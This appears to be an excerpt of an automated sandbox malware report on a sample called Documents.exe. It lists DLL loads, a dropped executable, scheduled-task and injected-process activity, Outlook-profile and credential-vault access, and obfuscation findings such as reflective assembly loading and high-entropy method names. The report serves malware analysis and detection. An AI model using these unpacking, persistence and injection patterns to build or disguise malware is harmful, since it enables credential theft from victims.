Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Section loaded: mswsock.dll
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Section loaded: rasadhlp.dll

Source: C:\Users\user\Desktop\Documents.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Documents.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

.NET source code contains method to dynamically call methods (often used by packers)

Source: C:\Windows\SysWOW64\systray.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Source: Documents.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Documents.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: systray.pdb source: RegSvcs.exe, 00000009.00000002.2340231400.0000000001058000.00000004.00000020.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000010.00000002.4499291759.0000000000B18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: systray.pdbGCTL source: RegSvcs.exe, 00000009.00000002.2340231400.0000000001058000.00000004.00000020.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000010.00000002.4499291759.0000000000B18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: vWFGbvOdxI.exe, 00000010.00000002.4499807449.0000000000E2E000.00000002.00000001.01000000.0000000D.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4499818518.0000000000E2E000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: RegSvcs.pdb, source: systray.exe, 00000011.00000002.4498880450.00000000006C2000.00000004.00000020.00020000.00000000.sdmp, systray.exe, 00000011.00000002.4500910385.0000000004B3C000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000002C8C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000014.00000002.2632346908.0000000030C3C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000009.00000002.2340505383.00000000014B0000.00000040.00001000.00020000.00000000.sdmp, systray.exe, 00000011.00000002.4500442013.0000000004510000.00000040.00001000.00020000.00000000.sdmp, systray.exe, 00000011.00000003.2341815008.000000000435E000.00000004.00000020.00020000.00000000.sdmp, systray.exe, 00000011.00000003.2340058980.00000000041AB000.00000004.00000020.00020000.00000000.sdmp, systray.exe, 00000011.00000002.4500442013.00000000046AE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 00000009.00000002.2340505383.00000000014B0000.00000040.00001000.00020000.00000000.sdmp, systray.exe, 00000011.00000002.4500442013.0000000004510000.00000040.00001000.00020000.00000000.sdmp, systray.exe, 00000011.00000003.2341815008.000000000435E000.00000004.00000020.00020000.00000000.sdmp, systray.exe, 00000011.00000003.2340058980.00000000041AB000.00000004.00000020.00020000.00000000.sdmp, systray.exe, 00000011.00000002.4500442013.00000000046AE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: RegSvcs.pdb source: systray.exe, 00000011.00000002.4498880450.00000000006C2000.00000004.00000020.00020000.00000000.sdmp, systray.exe, 00000011.00000002.4500910385.0000000004B3C000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000002C8C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000014.00000002.2632346908.0000000030C3C000.00000004.80000000.00040000.00000000.sdmp

Data Obfuscation

Source: 0.2.Documents.exe.5bd0000.3.raw.unpack, kAOj1Y7pfP90kycNNw.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: 0.2.Documents.exe.78d0000.4.raw.unpack, iavCtQFueCRVgf9V4b.cs	.Net Code: imDpH89lry System.Reflection.Assembly.Load(byte[])
Source: 0.2.Documents.exe.5bd0000.3.raw.unpack, GtaAIbrHXObmMm8GPA.cs	.Net Code: vaH8QmOOp System.Reflection.Assembly.Load(byte[])
Source: 0.2.Documents.exe.4406868.1.raw.unpack, iavCtQFueCRVgf9V4b.cs	.Net Code: imDpH89lry System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\Documents.exe	Code function: 0_2_05F1A739 push A805B45Eh; iretd	0_2_05F1A745
Source: C:\Users\user\Desktop\Documents.exe	Code function: 0_2_05F1A65F pushfd ; iretd	0_2_05F1A66D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_004071DE push 6FB25C47h; retf	9_2_004071E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_004031B0 push eax; ret	9_2_004031B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0040B9B7 push ebp; retf	9_2_0040B9BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_004172E9 push dword ptr [esi+eax*2+5Fh]; retf	9_2_004172F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_004133E3 push ss; retn A658h	9_2_0041350B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_00414BF2 push edi; ret	9_2_00414C12
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_00414C28 push edi; ret	9_2_00414C12
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_00418D95 pushfd ; retf	9_2_00418DAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_00415661 push edx; iretd	9_2_00415662
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E09AD push ecx; mov dword ptr [esp], ecx	9_2_014E09B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0116C54F push 8B010F67h; ret	15_2_0116C554
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0116C54D pushfd ; ret	15_2_0116C54E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_011209AD push ecx; mov dword ptr [esp], ecx	15_2_011209B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0116C9D7 push edi; ret	15_2_0116C9D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_010F1368 push eax; iretd	15_2_010F1369
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_010F1FEC push eax; iretd	15_2_010F1FED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01177E99 push ecx; ret	15_2_01177EAC
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Code function: 16_2_029EE26A push eax; iretd	16_2_029EE26B
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Code function: 16_2_029ED8FA push edx; iretd	16_2_029ED8FB
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Code function: 16_2_029F102E pushfd ; retf	16_2_029F1046
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Code function: 16_2_029F0870 push eax; iretd	16_2_029F0871
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Code function: 16_2_029ECE8B push edi; ret	16_2_029ECEAB
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Code function: 16_2_029ECEC1 push edi; ret	16_2_029ECEAB
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Code function: 16_2_029E3C50 push ebp; retf	16_2_029E3C57
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Code function: 16_2_029DF477 push 6FB25C47h; retf	16_2_029DF481
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Code function: 16_2_029EF582 push dword ptr [esi+eax*2+5Fh]; retf	16_2_029EF591

Source: Documents.exe	Static PE information: section name: .text entropy: 7.844297233774946
Source: uFEeKIucsX.exe.0.dr	Static PE information: section name: .text entropy: 7.844297233774946

Source: 0.2.Documents.exe.78d0000.4.raw.unpack, Gf3UqQuHQKmNjVRHiT.cs	High entropy of concatenated method names: 'qTMnJth4oW', 'wGCnjd67G8', 'kuFnAsIvnR', 'Tc3nunlJyT', 'g9dnxCpktS', 'HCXn0mwo3k', 'rkOn1JxGFe', 'rxhnYBq2Iu', 'Ic4nlx2nZL', 'zKFncfTDkZ'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, Pb8eXhL4Kqe82vcHaP.cs	High entropy of concatenated method names: 'wpcxBa7uaL', 'NsXxP0A5w9', 'VjUxLadLhC', 'EphxhYbP9u', 'w8TxtW2QBN', 'eT2xMHC6ne', 'Y1YxRXeXrG', 'Ulgx4ZTkdJ', 'oPlxTqqbwN', 'uhMx9p0B1P'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, jqZprwXDR5JDf5NEk4.cs	High entropy of concatenated method names: 'XOWly7kKiU', 'RQDltOkmDE', 'j3YlM5f4eO', 'IdQlRI7sh7', 'wBkl4EP4iU', 'GLHlTFSpBG', 'LmWl9IygAQ', 'QWNlbJb8jn', 'xaMlm7MtoE', 'GS5lBog6yw'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, OANgdeAkH9yusRxXWr.cs	High entropy of concatenated method names: 'ngSOLZK2uj', 'nQ5Oh0T93O', 'LRdOIA987C', 'z1xOrtaBkA', 'OeeOElSy7M', 'CEkOGPBKJ2', 'rQcOo3mpjn', 'g78OV5K7NL', 'nmoOXdVsRk', 'z0nOe7E9sC'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, V53PYhWCiyIxKMiS2SC.cs	High entropy of concatenated method names: 'ToString', 'AXSKAunulp', 'Ci1KucjXT2', 'yD8KvYbkyn', 'vtDKynmfou', 'x3LKtq0vWA', 'U7fKM8sSEL', 'zU7KRkRIEI', 'MvOhYie8P2QAI7F1UYw', 'ybr8o9ehL7eOCcjCq6Z'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, QmSiyozsHAhIftiSea.cs	High entropy of concatenated method names: 'H6fcjU0oHA', 'oc8cAxpiHL', 'lbLcugDmjU', 'SGicy7KD2j', 'r6YctpOPiI', 'kATcR9ncba', 'H6ec4AeUel', 'uMic7XoQes', 'QkacDxR8eX', 'Cs6cahSCxe'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, PITEutvlXV5IsghPUP.cs	High entropy of concatenated method names: 'Igjq3CQFaK', 'Tk0qdkIJe3', 'ys9nM80gN3', 'w0snRYcrXd', 'VwYn44nhZ7', 'fBGnTJ8KgP', 'iaSn9a77N5', 'Q6ZnbPsm7O', 'wWtnmJFh0C', 'epmnBL80Ea'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, gB7VL3IrSJVnBcdnXA.cs	High entropy of concatenated method names: 'ToString', 'ldQ084290g', 'tgL0tDv0YF', 'FZL0Mc9ZOP', 'HLC0RSC7uU', 'HLS041bWaq', 'f6I0TiTxxe', 'OTN09XJAG0', 'nsC0bEseyS', 'eR40mj62nW'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, XfWRgdWpIlxoZYmckMS.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'lFCgl6ZZaN', 'wyQgcfbuJN', 'jlkgKaMv7M', 'QIggg2VbOa', 'I8kgZWu9JJ', 'avGgwTjROI', 'wdjg7BynlE'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, Y1BLhwWWfyC5nKLv9Za.cs	High entropy of concatenated method names: 'W5jceUrhIl', 'AG1czR6AYH', 'tyyKQyUQQT', 'l36KWDxsYg', 'V09KCPw58w', 'zLUK6cjnMA', 'VPXKpqe8Nu', 'CSaKs7HkJ2', 'kibKUeUrte', 'iRRKOBgkGK'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, l0934OowxrH8VUlRxi.cs	High entropy of concatenated method names: 'mKQlxBMbth', 'X6Xl1W3a5p', 'hQHllXoKNP', 'xOOlKMZ9l2', 'zJMlZhHoVT', 'j17l7inY0T', 'Dispose', 'rfuYUC5WuX', 'y00YOJO9S6', 'sq5Yn5Hpau'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, Lhm7DZWQpkQtvGq28Al.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'mLnc8Y3Y5l', 'HngcPiPnAi', 'TkXckiVk5P', 'nNocLEB0pp', 'wFfchuW4ga', 'CticIwjmJ4', 'LWxcrxcBoM'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, hupJuROPNJ0JAPf84f.cs	High entropy of concatenated method names: 'Dispose', 'TH8WXVUlRx', 'RVnCt8RqHX', 'oZrHXkq0bx', 'juKWeyiRta', 'fyTWzKYi4E', 'ProcessDialogKey', 'wZiCQqZprw', 'xR5CWJDf5N', 'Uk4CCQDUZU'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, zrOvj2n9Vlx5bygFRJ.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'Pw5CX6o5o9', 'LjBCeorBc9', 'N0VCzPWAZP', 'k2m6QZeY4b', 'cu66WD12bd', 'Ju26C0C4a2', 'x6f66CheqM', 'RSipRtGxGayDC0YmOVm'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, nm3pWgkYqwy0t9xZiA.cs	High entropy of concatenated method names: 'Wej2AAZmI8', 'gQi2uQEtNF', 'PuG2yvVRxW', 'ImY2t1vSyS', 'QOF2RCxg7R', 'rbj24913s9', 'GHo29Tqm5t', 'zPN2bcP7P8', 'MsT2B8fXOX', 'Aox28GBAZT'
